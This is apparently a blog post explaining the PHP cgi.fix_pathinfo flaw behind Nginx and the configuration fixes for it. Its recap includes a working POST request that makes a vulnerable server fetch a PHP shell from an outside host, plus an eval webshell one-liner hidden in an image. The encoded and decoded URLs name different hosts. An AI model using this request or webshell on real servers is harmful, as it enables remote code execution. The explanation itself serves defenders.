Understand the cgi.fix_pathinfo security issue
If I read it correctly, the cgi.fix_pathinfo
security issue was brought into discussion by laruence in late May, 2010 that with SCRIPT_FILENAME
set by greedy regular expression capturing, PHP web application is vulnerable to backdoor attachment attack. His points were supplemented by another post claiming that PHP scripts is always vulnerable with cgi.fix_pathinfo enabled, regardless of Nginx configuration.
Let’s recap the issue. Having made backdoor.jpg into position, say by normal upload process, the attacker is able to install his phpshell by:
POST /upload/backdoor.jpg/1.php HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 152
pass=fwrite%28fopen%28%22.%2Fx.php%22%2C+%22w%22%29%2Cfile_get_contents%28%22http%3A%2F%2Fkaiwangchen.com%2Ffiles%2F2012%2F10%2Fphpshell.txt%22%29%29%3B
The text value could be decoded as
fwrite(fopen("./x.php", "w"),file_get_contents("http://kaiwangchen.github.io/files/2012/10/phpshell.txt"));
With the following minimal configuration snippet,
location ~ \.php$ {
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param PATH_TRANSLATED $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_param REQUEST_METHOD $request_method;
}
the request URI is automatically split into $fastcgi_script_name
and $fastcgi_path_info, which are /upload/backdoor.jpg/1.php
and empty string respectively. That way, the PHP backend is asked to execute script file $document_root/upload/backdoor.jpg/1.php
, however, the script does not exist. With cgi.fix_pathinfo
enabled, it will try upwards to the parent path, where is an JPG picture containing a malicious string like <?php eval($POST['pass'])?>
. The picture file will be taken as a PHP script, and the POST
‘ed value is eval
‘ed to do anything the attacker like.
It is clear that the problem is wrong SCRIPT_FILENAME. Since version 0.7.31 released on 19 Jan 2009, Nginx provides fastcgi_split_path_info
to allow the setting of the SCRIPT_NAME, PATH_INFO and PATH_TRANSLATED (a.k.a the non-standard SCRIPT_FILENAME) variables of the CGI specification. If the web application is well organized, for instance, CodeIgniter comes with a front controller, the splitting could be strictly configured to avoid the issue
fastcgi_split_path_info ^(/index.php)(.*);
Otherwise, with a loose design, the only way is to disable the cgi.fix_pathinfo
feature. Good news is that a new php-fpm configururation option, security.limit_extensions, is introduced in PHP 5.3.9 on Jan 10, 2012 to alleviate the issue. It by default allows only .php
as file suffix when trying upwards the translated path, as a result, the attacker will be prompted access denied.
Alternatively, try_files
could be used to assure the existence of scripts from Nginx:
try_files $uri $uri/ /index.php;
location ~* \.php {
# fastcgi_pass ...
}
Eventually, as the upload directory is usually explict, it can be catogorized into those for static files with an empty prefix-matching location
directive, thus disabling any PHP interpretation:
location ^~ /upload { }
Good luck.